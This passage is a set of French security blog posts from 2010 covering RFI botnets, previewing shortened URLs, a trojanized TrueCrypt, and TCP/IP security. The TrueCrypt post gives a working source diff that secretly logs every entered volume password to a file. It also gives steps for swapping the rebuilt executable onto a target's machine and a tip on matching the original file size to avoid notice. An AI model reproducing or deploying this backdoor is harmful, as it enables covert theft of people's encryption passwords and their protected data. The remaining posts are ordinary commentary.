Pourquoi je donne ce script? Comme indiqué dans mon deuxième article sur les RFI, tout ceci est un peu vain.. Le skill est des attaquants faisant ces RFI est plutôt bas. Je cite mon ancien article: " Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir". Il y a plusieurs années, j'avais pu trouver des RFI 0day, des progs C intéressants ou des kits de phishing, aujourd'hui on a que de la vieille vuln' de plusieurs années et des innombrables eggdrop et bots IRC, d'où mon désinterêt pour ces botnets. D'ailleurs depuis mon post de blog la dessus, je n'étais plus revenu sur le sujet. Les trackings sur IRC n'apprennent plus rien d'intéressant. Le botnet a changé de visage, et ces php machins sont trop anciens pour avoir de la valeur.

Enfin les php shells utilisés sur ces machines ne sont pas sains. Impossible d'imaginer les employer pour y placer un script réellement offensif, une attaque très fine ou autre. En effet, ces machines hébergeant du RFI sont généralement percées de toute part, il me surprendrait fort qu'un autre attaquant ne surveille pas ce qui est fait, voire ne sont pas elles-mêmes des honeypots. Enfin, certains fichiers de RFI sont eux-mêmes déjà trojanisés et logguent toute utilisation.
Il reste loisible d'utiliser ces machines pour lancer d'autres tricks old-school a leur tour, participant ainsi à la médiocrité ambiante des scripts trouvés sur ce genre de machines :)

UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6 -- UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6

2010-08-25T17:43:00.012+02:00

Les sites raccourcisseurs d'URL deviennent de plus en plus en courant. Un des plus connu d'entre eux est tinyurl. Le principe en est simple. Tinyurl enregistre une base de données entre une URL longue, comme par exemple http://www.domaine.com/repertoire/sous-repertoire/code.extension?var=veryveryverylongvalue&var2=value et une URL de taille fixe, courte, comme: http://tinyurl.com/(7 caractères). Un clic sur l'URL courte redirige vers l'URL longue.

Ces raccourcisseurs d'URL ont connu une popularité grandissante entre autre grâce à twitter qui limite le nombre de caractère.
tinyurl est intéressant du point de vue de la sécurité car il a participé à des attaques informatiques. Il y a eu l'attaque réussie contre apache http://tinyurl.com/2w667ej. Plus dernièrement un développeur d'openBSD s'est fait pister vie une tinyURL. Un développeur pensait pouvoir poster sous pseudo de manière anonyme, un développeur lui a donc envoyé un mail avec un lien tinyurl. Ce lien pointait chez le second développeur afin de logger l'IP de la personne cliquant dessus, l'histoire est indiqué ici: http://bit.ly/9SFh4K.

Dans les deux cas, le principe est le même: la personne visée clique en confiance sur le lien tinyurl, ce qui la mène à sa perte :-) Pour l'internaute avisé, il est toujours agaçant de devoir cliquer sur une URL raccourcie sans savoir ou l'on va tomber.

Comment faire donc pour "voir avant" ou l'on arrive? Quelques add-ons firefox existent, mais je ne les ai pas testé. Il existe des méthodes fonctionnant sous tous les navigateurs pour agrandir ces URL.

-TinyURL: le plus simple consiste a activer le cookie de non-redirection, cf http://tinyurl.com/preview.php. Tout clic sur un lien tinyurl présentera le lien de redirection complet. C'est extrêmement utile, à se demander pourquoi tout le monde ne le fait pas par défaut! Une autre méthode consiste à copier-coller le lien en ajoutant preview dans l'URL, par exemple: http://preview.tinyurl.com/2w667ej
-Bit.ly: apparemment, aucun mécanisme de preview n'existe comme avec tinyurl. Toutefois, il est possible d'ajouter un + à la fin de l'URL pour en voir les statistiques, ex: http://bit.ly/9SFh4K+, de ce fait, détourné, on peut voir ou envoie le lien.

-Pour les nombreux autres sites de preview, il existe la méthode netcat en one-liner:

kevin@slackware:~$ printf 'GET http://bit.ly/9SFh4K \
HTTP/1.1\r\nHost: bit.ly\r\n\r\n' | nc bit.ly 80

et faire de même pour les autres sites en adaptant l'URL, le Host et le domaine. Le rendu sera une code très explicite indiquant ou renvoie le code 301.

Truecrypt will never be the same, ya dun goof'd!

2010-08-02T10:57:00.006+02:00

En recherche pour un travail préparatoire, j'ai eu a étudier Truecrypt. Truecrypt est un logiciel de chiffrement solide, ayant l'avantage de proposer en standard un système de Plausible Deniability. De plus, il a eu les honneurs de la presse on-line puisqu'il a empêché le FBI d'accéder à des données.

A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.
Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.

Voici donc comment faire pour récupérer les mots de passe de Truecrypt.
1/ Récupérer les sources de Truecrypt
2/ Lire le source de Mount.c et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.
3/ Recompiler
4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé
5/ Profit

Le diff du fichier Mount.c :
$ diff Mount*
3455a3456,3463
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);
> fclose(file);
> }
> /// UnHACK
>
3463a3472,3481
>
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, " ... status %d [%s]\n", mounted, (mounted > 0) ? "OK" : "ko");
> fclose(file);
> }
> /// UnHACK
>
>
Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ Edit 01/09/2010: Fin du téléchargement. ] Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.

[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]

TCP/IP security is boring

2010-07-14T17:45:00.005+02:00

Je lis petit à petit les slides et articles fournis dans les actes du SSTIC 2010. Les conférences d'Harald Welte ont attiré mon attention, et plus particulièrement la phrase:
Don’t you too think that TCP/IP security is boring?

Et effectivement, la sécurité de TCP/IP, c'est quand même relativement mort.
Quelques questions pour s'en rendre compte..

Une connexion TCP, c'est un three-way handshake? Vous connaissez surement, mais le four-way handshake? Le prochain big-one qui dev(r)ait faire tomber internet à cause de TCP, vous connaissez? Et nkiller2, vous avez pris le temps d'étudier? Quelles mesures avez vous prises? Le filtrage de paquet de votre réseau, vous le faites encore, ou bien vous l'avez infogéré à un presta externe? Et vous avez utilisé un simple rideau, un double rideau? Les flags TCP, il y en a combien? 6 ou 8? Les hidden treasures d'iptables, vous avez étudié ça? Tiens d'ailleurs, et qu'est ce qui fonctionne le mieux, pf ou iptables? Le meilleur moyen de scanner discrètement un hôte, c'est le Xmas, ou bien une autre combinaison? Je me souviens qu'à une époque, il suffisait d'évoquer la légalité des scans de port sur n'importe quel forum pour déclencher des trolls homériques. Aujourd'hui, tout ça c'est le néant. On lit à longueur de forums qu'il est possible de spoofer des connexions TCP fiablement et durablement sans que plus personne ne s'émeuve de la bêtise.

Je crois qu'Harald a raison, vous n'avez sûrement pas du cliquer sur plus de deux liens dans le paragraphe la dessus. TCP/IP security is boring. Cela va faire 15 ans qu'on en fait, qu'on sait comment ça marche, pourquoi vouloir continuer à lire et dépiauter les RFCs? TCP/IP, ça "juste marche". Même lorsque les menaces sont réelles, c'est tout juste si on en entend parler. En 2000, le remote root sur pile IP faisait rêver tout le monde. Le programmeur qui aurait pu le faire aurait été sans doute considéré comme un demi-dieu vivant de la sécurité. Puis c'est arrivé, sous windows et vraisemblablement un autre sous linux. Ca n'a été traité que comme d'autres bugs de sécurité: on voit, on corrige, on patche.

Dans le temps, oui, la "TCP/IP security" était excitante. Mitnick qui a su, lui, faire du spoofing intelligement ;) . Les filtres de paquets qui passaient de stateless à statefull, les options TCP les plus obscures qui permettaient de traverser du firewall. Mais aujourd'hui, à peu près tous les filtres IP se valent et la discussion va plus porter sur le prix de la solution et/ou la facilité d'utilisation que sur les qualités du produit...

La sécurité de TCP/IP n'intéresse plus le monde de la sécurité. Si on regarde les actes du SSTIC 2010: rien sur la sécurité TCP/IP. 2009: rien non plus. Il faut remonter à 2008 pour avoir une (1!) conf qui a pour sujet quelques fonctionnalités liées à TCP/IP... L'année d'avant une seule conf aussi, ça parle d'IPv6.

Don't you too think that TCP/IP security is boring?

RMLL 2010

2010-07-07T15:53:00.002+02:00

Merci à l'organisation.

Lien vers l'article (500ko), lien vers les slides (6Mo).